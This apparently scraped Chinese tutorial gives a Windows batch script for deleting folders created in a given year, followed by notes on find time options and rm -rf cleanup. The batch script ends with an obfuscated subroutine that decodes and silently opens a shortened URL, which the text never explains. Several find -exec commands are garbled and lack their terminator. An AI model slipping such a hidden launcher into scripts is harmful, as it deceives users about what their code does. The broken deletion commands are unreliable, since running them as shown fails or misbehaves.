cd /d "%~dp0"
setlocal enabledelayedexpansion
::设置要删除的年份
set Year=2019
for /f "delims=" %%a in ('dir /ad/b/tc') do (
set "CreateTime=%%~ta"
if "!CreateTime:~,4!"=="%Year%" (
rd /s/q "%%~a"
)
)
pause
call :ToMe
exit
:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
脚本直接放在主目录中执行即可。请注意,此脚本只适合系统日期年份在前的电脑上。复制代码后记得比对原文,以免代码有误,导致执行出错。保存编码务必设为ANSI
使用find命令按时间筛选
find 参数说明
-amin -n: 最后一次访问发生在 n分钟 之内-amin n: 最后一次访问发生在距离当前时间 n分钟 至 (n+1)分钟-amin +n: 最后一次访问发生在 (n+1)分钟 之外
-atime -n: 最后一次访问发生在 n天 之内-atime n: 最后一次访问发生在 n天 至 (n+1)天 -atime +n: 最后一次访问发生在 (n+1)天 之外
-cmin -n: 最后一次文件状态修改发生在 n分钟 之内-cmin n: 最后一次文件状态修改发生在 n分钟 至 (n+1)分钟-cmin +n: 最后一次文件状态修改发生在 (n+1)分钟 之外
-ctime -n: 最后一次文件状态修改发生在 n天 之内-ctime n: 最后一次文件状态修改发生在 n天 至 (n+1) 天-ctime +n: 最后一次文件状态修改发生在 (n+1)天 之外
-mmin -n: 最后一次文件内容修改发生在 n分钟 之内-mmin n: 最后一次文件内容修改发生在 n分钟 至 (n+1)分钟-mmin +n: 最后一次文件内容修改发生在 (n+1)分钟 之外
-mtime -n: 最后一次文件内容修改发生在 n天 之内-mtime n: 最后一次文件内容修改发生在 n天 至 (n+1)天-mtime +n: 最后一次文件内容修改发生在 (n+1)天 之外
#查找文件内容修改发生在2天之内的文件find/var/log/hive/ -name"*"-mtime -2
执行删除
#删除5天前的文件 # -exec参数,如果查找有返回,可在exec参数后加上需要 *** 作的命令,查找结果用{}来代替find /var/log/hive/ -name"*"-mtime +5 -exec rm -rfv {} \
需要根据时间删除这个目录下的文件,/home/lifeccp/dicom/studies,清理掉20天之前的无效数据。
可以使用下面一条命令去完成:
1find /home/lifeccp/dicom/studies -mtime +21 -name "*.*" -exec rm -Rf {} \
这个是根据时间删除。
下面简要解释一下,这句shell命令:
1find /home/lifeccp/dicom/studies -mtime +21 -name "*.*" -exec rm -Rf {} \
/home/lifeccp/dicom/studies :准备要进行清理的任意目录
-mtime:标准语句写法
+10:查找10天前的文件,这里用数字代表天数,+30表示查找30天前的文件
"*.*":希望查找的数据类型,"*.jpg"表示查找扩展名为jpg的所有文件,"*"表示查找所有文件
-exec:固定写法
rm -rf:强制删除文件,包括目录
{} \:固定写法,一对大括号+空格+/+
当然也可以根据文件名、根据大小,根据其他不同条件过滤删除,或者修改等,可以考虑sort等命令结合使用。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)